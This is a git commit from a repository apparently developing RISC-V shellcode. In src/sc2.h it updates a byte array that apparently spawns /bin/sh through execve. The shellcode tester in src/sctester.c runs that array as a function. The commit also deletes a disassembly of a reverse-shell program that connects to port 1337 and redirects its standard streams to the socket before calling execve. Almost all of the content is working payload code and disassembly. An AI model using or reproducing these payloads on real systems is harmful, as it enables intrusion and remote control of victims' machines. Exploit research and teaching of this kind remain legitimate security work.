~poptart/riscv-business

5d09d6e11d7d05597604a55ad39dcc2f5e9d45da — terrorbyte 2 years ago bbaa742
I'm an idiot. I was using compressed instructions the whole time
9 files changed, 41 insertions(+), 514 deletions(-)

M Makefile
A doc/noptest.s
D doc/notes.txt
D doc/simple1.objdump
D doc/simple2.objdump
D doc/simple3.objdump
D doc/xxd-asm4.txt
M src/sc2.h
M src/sctester.c
M Makefile => Makefile +7 -7
@@ 33,19 33,19 @@ c:
	gcc -O0 -fpic src/simple3.c -o $(BINPATH)/simple3

asm:
	gcc -c src/asm1.s -o $(BINPATH)/asm1.o
	gcc -march=rv64g -c src/asm1.s -o $(BINPATH)/asm1.o
	ld $(BINPATH)/asm1.o -o $(BINPATH)/asm1 
	gcc -c src/asm2.s -o $(BINPATH)/asm2.o
	gcc -march=rv64g -c src/asm2.s -o $(BINPATH)/asm2.o
	ld $(BINPATH)/asm2.o -o $(BINPATH)/asm2 
	gcc -c src/asm3.s -o $(BINPATH)/asm3.o
	gcc -march=rv64g -c src/asm3.s -o $(BINPATH)/asm3.o
	ld $(BINPATH)/asm3.o -o $(BINPATH)/asm3 
	gcc -c src/asm4.s -o $(BINPATH)/asm4.o
	gcc -march=rv64g -c src/asm4.s -o $(BINPATH)/asm4.o
	ld $(BINPATH)/asm4.o -o $(BINPATH)/asm4 
	gcc -c src/asm5.s -o $(BINPATH)/asm5.o
	gcc -march=rv64g -c src/asm5.s -o $(BINPATH)/asm5.o
	ld $(BINPATH)/asm5.o -o $(BINPATH)/asm5 
	gcc -c src/asm6.s -o $(BINPATH)/asm6.o
	gcc -march=rv64g -c src/asm6.s -o $(BINPATH)/asm6.o
	ld $(BINPATH)/asm6.o -o $(BINPATH)/asm6 
	gcc -c src/asm7.s -o $(BINPATH)/asm7.o
	gcc -march=rv64g -c src/asm7.s -o $(BINPATH)/asm7.o
	ld $(BINPATH)/asm7.o -o $(BINPATH)/asm7 

clean:

A doc/noptest.s => doc/noptest.s +29 -0
@@ 0,0 1,29 @@
.section .text
.globl _start
_start:
	xor x0,x0,0
	xor x0,x0,1
	xor x0,x0,0xff
	and x0,x0,0	
	and x0,x0,1	
	and x0,x0,0xff	
	and x0,x0,x0	
	addi x0,x0,0
	addi x0,x0,1
	addi x0,x1,0
	addi x0,x1,1
	addi x0,x8,0
	addi x0,x8,1
	addi x0,x15,0
	addi x0,x15,1
	addi x0,x31,0
	addi x0,x31,1
	addiw x0,x0,0xff	
	rdcycle x0
	rdcycle x30
	#c.addi x17,1
	#c.addi x17,0x0
	li a0, 0x0
	li a7, 93
	#c.ebreak
	ecall

D doc/notes.txt => doc/notes.txt +0 -2
@@ 1,2 0,0 @@
/usr/include/asm-generic/unistd.h
__NR_execve 221

D doc/simple1.objdump => doc/simple1.objdump +0 -136
@@ 1,136 0,0 @@

bin/simple1:     file format elf64-littleriscv


Disassembly of section .plt:

0000000000010360 <_PROCEDURE_LINKAGE_TABLE_>:
   10360:	97 23 00 00 33 03 c3 41 03 be 03 ca 13 03 43 fd     .#..3..A......C.
   10370:	93 82 03 ca 13 53 13 00 83 b2 82 00 67 00 0e 00     .....S......g...

0000000000010380 <__libc_start_main@plt>:
   10380:	00002e17          	auipc	t3,0x2
   10384:	c90e3e03          	ld	t3,-880(t3) # 12010 <__libc_start_main@GLIBC_2.27>
   10388:	000e0367          	jalr	t1,t3
   1038c:	00000013          	nop

Disassembly of section .text:

0000000000010390 <_start>:
   10390:	02e000ef          	jal	ra,103be <_start+0x2e>
   10394:	87aa                	mv	a5,a0
   10396:	00000517          	auipc	a0,0x0
   1039a:	0aa50513          	addi	a0,a0,170 # 10440 <main>
   1039e:	6582                	ld	a1,0(sp)
   103a0:	0030                	addi	a2,sp,8
   103a2:	ff017113          	andi	sp,sp,-16
   103a6:	00000697          	auipc	a3,0x0
   103aa:	0aa68693          	addi	a3,a3,170 # 10450 <__libc_csu_init>
   103ae:	00000717          	auipc	a4,0x0
   103b2:	0fa70713          	addi	a4,a4,250 # 104a8 <__libc_csu_fini>
   103b6:	880a                	mv	a6,sp
   103b8:	fc9ff0ef          	jal	ra,10380 <__libc_start_main@plt>
   103bc:	9002                	ebreak
   103be:	00002197          	auipc	gp,0x2
   103c2:	44218193          	addi	gp,gp,1090 # 12800 <__global_pointer$>
   103c6:	8082                	ret
	...

00000000000103ca <deregister_tm_clones>:
   103ca:	6549                	lui	a0,0x12
   103cc:	6749                	lui	a4,0x12
   103ce:	00050793          	mv	a5,a0
   103d2:	00070713          	mv	a4,a4
   103d6:	00f70b63          	beq	a4,a5,103ec <deregister_tm_clones+0x22>
   103da:	00000337          	lui	t1,0x0
   103de:	00030313          	mv	t1,t1
   103e2:	00030563          	beqz	t1,103ec <deregister_tm_clones+0x22>
   103e6:	00050513          	mv	a0,a0
   103ea:	8302                	jr	t1
   103ec:	8082                	ret

00000000000103ee <register_tm_clones>:
   103ee:	6549                	lui	a0,0x12
   103f0:	00050593          	mv	a1,a0
   103f4:	67c9                	lui	a5,0x12
   103f6:	00078793          	mv	a5,a5
   103fa:	8f8d                	sub	a5,a5,a1
   103fc:	4037d713          	srai	a4,a5,0x3
   10400:	03f7d593          	srli	a1,a5,0x3f
   10404:	95ba                	add	a1,a1,a4
   10406:	8585                	srai	a1,a1,0x1
   10408:	c991                	beqz	a1,1041c <register_tm_clones+0x2e>
   1040a:	00000337          	lui	t1,0x0
   1040e:	00030313          	mv	t1,t1
   10412:	00030563          	beqz	t1,1041c <register_tm_clones+0x2e>
   10416:	00050513          	mv	a0,a0
   1041a:	8302                	jr	t1
   1041c:	8082                	ret

000000000001041e <__do_global_dtors_aux>:
   1041e:	1141                	addi	sp,sp,-16
   10420:	e022                	sd	s0,0(sp)
   10422:	82c1c783          	lbu	a5,-2004(gp) # 1202c <_edata>
   10426:	e406                	sd	ra,8(sp)
   10428:	e791                	bnez	a5,10434 <__do_global_dtors_aux+0x16>
   1042a:	fa1ff0ef          	jal	ra,103ca <deregister_tm_clones>
   1042e:	4785                	li	a5,1
   10430:	82f18623          	sb	a5,-2004(gp) # 1202c <_edata>
   10434:	60a2                	ld	ra,8(sp)
   10436:	6402                	ld	s0,0(sp)
   10438:	0141                	addi	sp,sp,16
   1043a:	8082                	ret

000000000001043c <frame_dummy>:
   1043c:	fb3ff06f          	j	103ee <register_tm_clones>

0000000000010440 <main>:
   10440:	1141                	addi	sp,sp,-16
   10442:	e422                	sd	s0,8(sp)
   10444:	0800                	addi	s0,sp,16
   10446:	47a1                	li	a5,8
   10448:	853e                	mv	a0,a5
   1044a:	6422                	ld	s0,8(sp)
   1044c:	0141                	addi	sp,sp,16
   1044e:	8082                	ret

0000000000010450 <__libc_csu_init>:
   10450:	7139                	addi	sp,sp,-64
   10452:	f822                	sd	s0,48(sp)
   10454:	f04a                	sd	s2,32(sp)
   10456:	00002417          	auipc	s0,0x2
   1045a:	9ca40413          	addi	s0,s0,-1590 # 11e20 <__frame_dummy_init_array_entry>
   1045e:	00002917          	auipc	s2,0x2
   10462:	9ca90913          	addi	s2,s2,-1590 # 11e28 <__init_array_end>
   10466:	40890933          	sub	s2,s2,s0
   1046a:	fc06                	sd	ra,56(sp)
   1046c:	f426                	sd	s1,40(sp)
   1046e:	ec4e                	sd	s3,24(sp)
   10470:	e852                	sd	s4,16(sp)
   10472:	e456                	sd	s5,8(sp)
   10474:	40395913          	srai	s2,s2,0x3
   10478:	00090f63          	beqz	s2,10496 <__libc_csu_init+0x46>
   1047c:	89aa                	mv	s3,a0
   1047e:	8a2e                	mv	s4,a1
   10480:	8ab2                	mv	s5,a2
   10482:	4481                	li	s1,0
   10484:	601c                	ld	a5,0(s0)
   10486:	8656                	mv	a2,s5
   10488:	85d2                	mv	a1,s4
   1048a:	854e                	mv	a0,s3
   1048c:	0485                	addi	s1,s1,1
   1048e:	9782                	jalr	a5
   10490:	0421                	addi	s0,s0,8
   10492:	fe9919e3          	bne	s2,s1,10484 <__libc_csu_init+0x34>
   10496:	70e2                	ld	ra,56(sp)
   10498:	7442                	ld	s0,48(sp)
   1049a:	74a2                	ld	s1,40(sp)
   1049c:	7902                	ld	s2,32(sp)
   1049e:	69e2                	ld	s3,24(sp)
   104a0:	6a42                	ld	s4,16(sp)
   104a2:	6aa2                	ld	s5,8(sp)
   104a4:	6121                	addi	sp,sp,64
   104a6:	8082                	ret

00000000000104a8 <__libc_csu_fini>:
   104a8:	8082                	ret

D doc/simple2.objdump => doc/simple2.objdump +0 -149
@@ 1,149 0,0 @@

bin/simple2:     file format elf64-littleriscv


Disassembly of section .plt:

00000000000103a0 <_PROCEDURE_LINKAGE_TABLE_>:
   103a0:	97 23 00 00 33 03 c3 41 03 be 03 c6 13 03 43 fd     .#..3..A......C.
   103b0:	93 82 03 c6 13 53 13 00 83 b2 82 00 67 00 0e 00     .....S......g...

00000000000103c0 <__libc_start_main@plt>:
   103c0:	00002e17          	auipc	t3,0x2
   103c4:	c50e3e03          	ld	t3,-944(t3) # 12010 <__libc_start_main@GLIBC_2.27>
   103c8:	000e0367          	jalr	t1,t3
   103cc:	00000013          	nop

00000000000103d0 <execve@plt>:
   103d0:	00002e17          	auipc	t3,0x2
   103d4:	c48e3e03          	ld	t3,-952(t3) # 12018 <execve@GLIBC_2.27>
   103d8:	000e0367          	jalr	t1,t3
   103dc:	00000013          	nop

Disassembly of section .text:

00000000000103e0 <_start>:
   103e0:	02e000ef          	jal	ra,1040e <_start+0x2e>
   103e4:	87aa                	mv	a5,a0
   103e6:	00000517          	auipc	a0,0x0
   103ea:	0aa50513          	addi	a0,a0,170 # 10490 <main>
   103ee:	6582                	ld	a1,0(sp)
   103f0:	0030                	addi	a2,sp,8
   103f2:	ff017113          	andi	sp,sp,-16
   103f6:	00000697          	auipc	a3,0x0
   103fa:	0be68693          	addi	a3,a3,190 # 104b4 <__libc_csu_init>
   103fe:	00000717          	auipc	a4,0x0
   10402:	10e70713          	addi	a4,a4,270 # 1050c <__libc_csu_fini>
   10406:	880a                	mv	a6,sp
   10408:	fb9ff0ef          	jal	ra,103c0 <__libc_start_main@plt>
   1040c:	9002                	ebreak
   1040e:	00002197          	auipc	gp,0x2
   10412:	3f218193          	addi	gp,gp,1010 # 12800 <__global_pointer$>
   10416:	8082                	ret
	...

000000000001041a <deregister_tm_clones>:
   1041a:	6549                	lui	a0,0x12
   1041c:	6749                	lui	a4,0x12
   1041e:	00050793          	mv	a5,a0
   10422:	00070713          	mv	a4,a4
   10426:	00f70b63          	beq	a4,a5,1043c <deregister_tm_clones+0x22>
   1042a:	00000337          	lui	t1,0x0
   1042e:	00030313          	mv	t1,t1
   10432:	00030563          	beqz	t1,1043c <deregister_tm_clones+0x22>
   10436:	00050513          	mv	a0,a0
   1043a:	8302                	jr	t1
   1043c:	8082                	ret

000000000001043e <register_tm_clones>:
   1043e:	6549                	lui	a0,0x12
   10440:	00050593          	mv	a1,a0
   10444:	67c9                	lui	a5,0x12
   10446:	00078793          	mv	a5,a5
   1044a:	8f8d                	sub	a5,a5,a1
   1044c:	4037d713          	srai	a4,a5,0x3
   10450:	03f7d593          	srli	a1,a5,0x3f
   10454:	95ba                	add	a1,a1,a4
   10456:	8585                	srai	a1,a1,0x1
   10458:	c991                	beqz	a1,1046c <register_tm_clones+0x2e>
   1045a:	00000337          	lui	t1,0x0
   1045e:	00030313          	mv	t1,t1
   10462:	00030563          	beqz	t1,1046c <register_tm_clones+0x2e>
   10466:	00050513          	mv	a0,a0
   1046a:	8302                	jr	t1
   1046c:	8082                	ret

000000000001046e <__do_global_dtors_aux>:
   1046e:	1141                	addi	sp,sp,-16
   10470:	e022                	sd	s0,0(sp)
   10472:	8341c783          	lbu	a5,-1996(gp) # 12034 <_edata>
   10476:	e406                	sd	ra,8(sp)
   10478:	e791                	bnez	a5,10484 <__do_global_dtors_aux+0x16>
   1047a:	fa1ff0ef          	jal	ra,1041a <deregister_tm_clones>
   1047e:	4785                	li	a5,1
   10480:	82f18a23          	sb	a5,-1996(gp) # 12034 <_edata>
   10484:	60a2                	ld	ra,8(sp)
   10486:	6402                	ld	s0,0(sp)
   10488:	0141                	addi	sp,sp,16
   1048a:	8082                	ret

000000000001048c <frame_dummy>:
   1048c:	fb3ff06f          	j	1043e <register_tm_clones>

0000000000010490 <main>:
   10490:	1141                	addi	sp,sp,-16
   10492:	e406                	sd	ra,8(sp)
   10494:	e022                	sd	s0,0(sp)
   10496:	0800                	addi	s0,sp,16
   10498:	4601                	li	a2,0
   1049a:	4581                	li	a1,0
   1049c:	00000517          	auipc	a0,0x0
   104a0:	07450513          	addi	a0,a0,116 # 10510 <__libc_csu_fini+0x4>
   104a4:	f2dff0ef          	jal	ra,103d0 <execve@plt>
   104a8:	4781                	li	a5,0
   104aa:	853e                	mv	a0,a5
   104ac:	60a2                	ld	ra,8(sp)
   104ae:	6402                	ld	s0,0(sp)
   104b0:	0141                	addi	sp,sp,16
   104b2:	8082                	ret

00000000000104b4 <__libc_csu_init>:
   104b4:	7139                	addi	sp,sp,-64
   104b6:	f822                	sd	s0,48(sp)
   104b8:	f04a                	sd	s2,32(sp)
   104ba:	00002417          	auipc	s0,0x2
   104be:	96640413          	addi	s0,s0,-1690 # 11e20 <__frame_dummy_init_array_entry>
   104c2:	00002917          	auipc	s2,0x2
   104c6:	96690913          	addi	s2,s2,-1690 # 11e28 <__init_array_end>
   104ca:	40890933          	sub	s2,s2,s0
   104ce:	fc06                	sd	ra,56(sp)
   104d0:	f426                	sd	s1,40(sp)
   104d2:	ec4e                	sd	s3,24(sp)
   104d4:	e852                	sd	s4,16(sp)
   104d6:	e456                	sd	s5,8(sp)
   104d8:	40395913          	srai	s2,s2,0x3
   104dc:	00090f63          	beqz	s2,104fa <__libc_csu_init+0x46>
   104e0:	89aa                	mv	s3,a0
   104e2:	8a2e                	mv	s4,a1
   104e4:	8ab2                	mv	s5,a2
   104e6:	4481                	li	s1,0
   104e8:	601c                	ld	a5,0(s0)
   104ea:	8656                	mv	a2,s5
   104ec:	85d2                	mv	a1,s4
   104ee:	854e                	mv	a0,s3
   104f0:	0485                	addi	s1,s1,1
   104f2:	9782                	jalr	a5
   104f4:	0421                	addi	s0,s0,8
   104f6:	fe9919e3          	bne	s2,s1,104e8 <__libc_csu_init+0x34>
   104fa:	70e2                	ld	ra,56(sp)
   104fc:	7442                	ld	s0,48(sp)
   104fe:	74a2                	ld	s1,40(sp)
   10500:	7902                	ld	s2,32(sp)
   10502:	69e2                	ld	s3,24(sp)
   10504:	6a42                	ld	s4,16(sp)
   10506:	6aa2                	ld	s5,8(sp)
   10508:	6121                	addi	sp,sp,64
   1050a:	8082                	ret

000000000001050c <__libc_csu_fini>:
   1050c:	8082                	ret

D doc/simple3.objdump => doc/simple3.objdump +0 -215
@@ 1,215 0,0 @@

bin/simple3:     file format elf64-littleriscv


Disassembly of section .plt:

00000000000104d0 <_PROCEDURE_LINKAGE_TABLE_>:
   104d0:	97 23 00 00 33 03 c3 41 03 be 03 b3 13 03 43 fd     .#..3..A......C.
   104e0:	93 82 03 b3 13 53 13 00 83 b2 82 00 67 00 0e 00     .....S......g...

00000000000104f0 <socket@plt>:
   104f0:	00002e17          	auipc	t3,0x2
   104f4:	b20e3e03          	ld	t3,-1248(t3) # 12010 <socket@GLIBC_2.27>
   104f8:	000e0367          	jalr	t1,t3
   104fc:	00000013          	nop

0000000000010500 <__libc_start_main@plt>:
   10500:	00002e17          	auipc	t3,0x2
   10504:	b18e3e03          	ld	t3,-1256(t3) # 12018 <__libc_start_main@GLIBC_2.27>
   10508:	000e0367          	jalr	t1,t3
   1050c:	00000013          	nop

0000000000010510 <inet_addr@plt>:
   10510:	00002e17          	auipc	t3,0x2
   10514:	b10e3e03          	ld	t3,-1264(t3) # 12020 <inet_addr@GLIBC_2.27>
   10518:	000e0367          	jalr	t1,t3
   1051c:	00000013          	nop

0000000000010520 <execve@plt>:
   10520:	00002e17          	auipc	t3,0x2
   10524:	b08e3e03          	ld	t3,-1272(t3) # 12028 <execve@GLIBC_2.27>
   10528:	000e0367          	jalr	t1,t3
   1052c:	00000013          	nop

0000000000010530 <dup2@plt>:
   10530:	00002e17          	auipc	t3,0x2
   10534:	b00e3e03          	ld	t3,-1280(t3) # 12030 <dup2@GLIBC_2.27>
   10538:	000e0367          	jalr	t1,t3
   1053c:	00000013          	nop

0000000000010540 <connect@plt>:
   10540:	00002e17          	auipc	t3,0x2
   10544:	af8e3e03          	ld	t3,-1288(t3) # 12038 <connect@GLIBC_2.27>
   10548:	000e0367          	jalr	t1,t3
   1054c:	00000013          	nop

0000000000010550 <htons@plt>:
   10550:	00002e17          	auipc	t3,0x2
   10554:	af0e3e03          	ld	t3,-1296(t3) # 12040 <htons@GLIBC_2.27>
   10558:	000e0367          	jalr	t1,t3
   1055c:	00000013          	nop

Disassembly of section .text:

0000000000010560 <_start>:
   10560:	02e000ef          	jal	ra,1058e <_start+0x2e>
   10564:	87aa                	mv	a5,a0
   10566:	00000517          	auipc	a0,0x0
   1056a:	0aa50513          	addi	a0,a0,170 # 10610 <main>
   1056e:	6582                	ld	a1,0(sp)
   10570:	0030                	addi	a2,sp,8
   10572:	ff017113          	andi	sp,sp,-16
   10576:	00000697          	auipc	a3,0x0
   1057a:	12c68693          	addi	a3,a3,300 # 106a2 <__libc_csu_init>
   1057e:	00000717          	auipc	a4,0x0
   10582:	17c70713          	addi	a4,a4,380 # 106fa <__libc_csu_fini>
   10586:	880a                	mv	a6,sp
   10588:	f79ff0ef          	jal	ra,10500 <__libc_start_main@plt>
   1058c:	9002                	ebreak
   1058e:	00002197          	auipc	gp,0x2
   10592:	27218193          	addi	gp,gp,626 # 12800 <__global_pointer$>
   10596:	8082                	ret
	...

000000000001059a <deregister_tm_clones>:
   1059a:	6549                	lui	a0,0x12
   1059c:	6749                	lui	a4,0x12
   1059e:	00050793          	mv	a5,a0
   105a2:	00070713          	mv	a4,a4
   105a6:	00f70b63          	beq	a4,a5,105bc <deregister_tm_clones+0x22>
   105aa:	00000337          	lui	t1,0x0
   105ae:	00030313          	mv	t1,t1
   105b2:	00030563          	beqz	t1,105bc <deregister_tm_clones+0x22>
   105b6:	00050513          	mv	a0,a0
   105ba:	8302                	jr	t1
   105bc:	8082                	ret

00000000000105be <register_tm_clones>:
   105be:	6549                	lui	a0,0x12
   105c0:	00050593          	mv	a1,a0
   105c4:	67c9                	lui	a5,0x12
   105c6:	00078793          	mv	a5,a5
   105ca:	8f8d                	sub	a5,a5,a1
   105cc:	4037d713          	srai	a4,a5,0x3
   105d0:	03f7d593          	srli	a1,a5,0x3f
   105d4:	95ba                	add	a1,a1,a4
   105d6:	8585                	srai	a1,a1,0x1
   105d8:	c991                	beqz	a1,105ec <register_tm_clones+0x2e>
   105da:	00000337          	lui	t1,0x0
   105de:	00030313          	mv	t1,t1
   105e2:	00030563          	beqz	t1,105ec <register_tm_clones+0x2e>
   105e6:	00050513          	mv	a0,a0
   105ea:	8302                	jr	t1
   105ec:	8082                	ret

00000000000105ee <__do_global_dtors_aux>:
   105ee:	1141                	addi	sp,sp,-16
   105f0:	e022                	sd	s0,0(sp)
   105f2:	85c1c783          	lbu	a5,-1956(gp) # 1205c <_edata>
   105f6:	e406                	sd	ra,8(sp)
   105f8:	e791                	bnez	a5,10604 <__do_global_dtors_aux+0x16>
   105fa:	fa1ff0ef          	jal	ra,1059a <deregister_tm_clones>
   105fe:	4785                	li	a5,1
   10600:	84f18e23          	sb	a5,-1956(gp) # 1205c <_edata>
   10604:	60a2                	ld	ra,8(sp)
   10606:	6402                	ld	s0,0(sp)
   10608:	0141                	addi	sp,sp,16
   1060a:	8082                	ret

000000000001060c <frame_dummy>:
   1060c:	fb3ff06f          	j	105be <register_tm_clones>

0000000000010610 <main>:
   10610:	7179                	addi	sp,sp,-48
   10612:	f406                	sd	ra,40(sp)
   10614:	f022                	sd	s0,32(sp)
   10616:	1800                	addi	s0,sp,48
   10618:	4789                	li	a5,2
   1061a:	fcf41c23          	sh	a5,-40(s0)
   1061e:	00000517          	auipc	a0,0x0
   10622:	0e250513          	addi	a0,a0,226 # 10700 <__libc_csu_fini+0x6>
   10626:	eebff0ef          	jal	ra,10510 <inet_addr@plt>
   1062a:	87aa                	mv	a5,a0
   1062c:	2781                	sext.w	a5,a5
   1062e:	fcf42e23          	sw	a5,-36(s0)
   10632:	53900513          	li	a0,1337
   10636:	f1bff0ef          	jal	ra,10550 <htons@plt>
   1063a:	87aa                	mv	a5,a0
   1063c:	fcf41d23          	sh	a5,-38(s0)
   10640:	4601                	li	a2,0
   10642:	4585                	li	a1,1
   10644:	4509                	li	a0,2
   10646:	eabff0ef          	jal	ra,104f0 <socket@plt>
   1064a:	87aa                	mv	a5,a0
   1064c:	fef42623          	sw	a5,-20(s0)
   10650:	fd840713          	addi	a4,s0,-40
   10654:	fec42783          	lw	a5,-20(s0)
   10658:	4641                	li	a2,16
   1065a:	85ba                	mv	a1,a4
   1065c:	853e                	mv	a0,a5
   1065e:	ee3ff0ef          	jal	ra,10540 <connect@plt>
   10662:	fec42783          	lw	a5,-20(s0)
   10666:	4581                	li	a1,0
   10668:	853e                	mv	a0,a5
   1066a:	ec7ff0ef          	jal	ra,10530 <dup2@plt>
   1066e:	fec42783          	lw	a5,-20(s0)
   10672:	4585                	li	a1,1
   10674:	853e                	mv	a0,a5
   10676:	ebbff0ef          	jal	ra,10530 <dup2@plt>
   1067a:	fec42783          	lw	a5,-20(s0)
   1067e:	4589                	li	a1,2
   10680:	853e                	mv	a0,a5
   10682:	eafff0ef          	jal	ra,10530 <dup2@plt>
   10686:	4601                	li	a2,0
   10688:	4581                	li	a1,0
   1068a:	00000517          	auipc	a0,0x0
   1068e:	08650513          	addi	a0,a0,134 # 10710 <__libc_csu_fini+0x16>
   10692:	e8fff0ef          	jal	ra,10520 <execve@plt>
   10696:	4781                	li	a5,0
   10698:	853e                	mv	a0,a5
   1069a:	70a2                	ld	ra,40(sp)
   1069c:	7402                	ld	s0,32(sp)
   1069e:	6145                	addi	sp,sp,48
   106a0:	8082                	ret

00000000000106a2 <__libc_csu_init>:
   106a2:	7139                	addi	sp,sp,-64
   106a4:	f822                	sd	s0,48(sp)
   106a6:	f04a                	sd	s2,32(sp)
   106a8:	00001417          	auipc	s0,0x1
   106ac:	77840413          	addi	s0,s0,1912 # 11e20 <__frame_dummy_init_array_entry>
   106b0:	00001917          	auipc	s2,0x1
   106b4:	77890913          	addi	s2,s2,1912 # 11e28 <__init_array_end>
   106b8:	40890933          	sub	s2,s2,s0
   106bc:	fc06                	sd	ra,56(sp)
   106be:	f426                	sd	s1,40(sp)
   106c0:	ec4e                	sd	s3,24(sp)
   106c2:	e852                	sd	s4,16(sp)
   106c4:	e456                	sd	s5,8(sp)
   106c6:	40395913          	srai	s2,s2,0x3
   106ca:	00090f63          	beqz	s2,106e8 <__libc_csu_init+0x46>
   106ce:	89aa                	mv	s3,a0
   106d0:	8a2e                	mv	s4,a1
   106d2:	8ab2                	mv	s5,a2
   106d4:	4481                	li	s1,0
   106d6:	601c                	ld	a5,0(s0)
   106d8:	8656                	mv	a2,s5
   106da:	85d2                	mv	a1,s4
   106dc:	854e                	mv	a0,s3
   106de:	0485                	addi	s1,s1,1
   106e0:	9782                	jalr	a5
   106e2:	0421                	addi	s0,s0,8
   106e4:	fe9919e3          	bne	s2,s1,106d6 <__libc_csu_init+0x34>
   106e8:	70e2                	ld	ra,56(sp)
   106ea:	7442                	ld	s0,48(sp)
   106ec:	74a2                	ld	s1,40(sp)
   106ee:	7902                	ld	s2,32(sp)
   106f0:	69e2                	ld	s3,24(sp)
   106f2:	6a42                	ld	s4,16(sp)
   106f4:	6aa2                	ld	s5,8(sp)
   106f6:	6121                	addi	sp,sp,64
   106f8:	8082                	ret

00000000000106fa <__libc_csu_fini>:
   106fa:	8082                	ret

D doc/xxd-asm4.txt => doc/xxd-asm4.txt +0 -1
@@ 1,1 0,0 @@
3765696e1b05f52261112ae0377568001b05f5322332a100014513050100014681459308d00d7300000001459308d00573000000

M src/sc2.h => src/sc2.h +2 -2
@@ 21,7 21,6 @@
   100ae:	05d88893          	addi	a7,a7,93
   100b2:	00000073          	ecall
 */
//unsigned char code[] = "\x01\x45\x81\x48\x93\x88\xd8\x05\x73";
//const unsigned char code[] = "\x37\x35\x62\x69\
//			\x1b\x05\xf5\xf2\
//			\x61\x11\


@@ 42,4 41,5 @@
//			\x73";

//TODO stack alignment and why the last two li a2,0's were needed
const unsigned char code[] = "\x37\x35\x62\x69\x1b\x05\xf5\xf2\x61\x11\x2a\xe0\xb7\x38\x73\x68\x9b\x88\xe8\xf6\x23\x32\x11\x01\x81\x48\x93\x08\x11\x01\x01\x45\x13\x85\xf8\xfe\x01\x46\x81\x45\x85\x48\x93\x88\xc8\x0d\x01\x46\x01\x46\x73";
//const unsigned char code[] = "\x37\x35\x62\x69\x1b\x05\xf5\xf2\x61\x11\x2a\xe0\xb7\x38\x73\x68\x9b\x88\xe8\xf6\x23\x32\x11\x01\x81\x48\x93\x08\x11\x01\x01\x45\x13\x85\xf8\xfe\x01\x46\x81\x45\x85\x48\x93\x88\xc8\x0d\x01\x46\x01\x46\x73";
const unsigned char code[] = "\x37\x35\x62\x69\x1b\x05\xf5\xf2\x61\x11\x2a\xe0\xb7\x38\x73\x68\x9b\x88\xe8\xf6\x23\x32\x11\x01\x81\x48\x93\x08\x11\x01\x13\x85\xf8\xfe\x01\x46\x81\x45\x85\x48\x93\x88\xc8\x0d\x01\x46\x01\x46\x73";

M src/sctester.c => src/sctester.c +3 -2
@@ 1,6 1,7 @@
#include <stdio.h>
#include <string.h>

//const unsigned char code[] = "\x00";
#ifdef SC1
#include "sc1.h"
#elif SC2


@@ 9,9 10,9 @@

int main(){
  printf("Shellcode Length:  %d\n", strlen(code));
  //int (*ret)() = (int(*)())code;
  //ret();
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
  printf("Did the process continue?\n");
  return 0;
}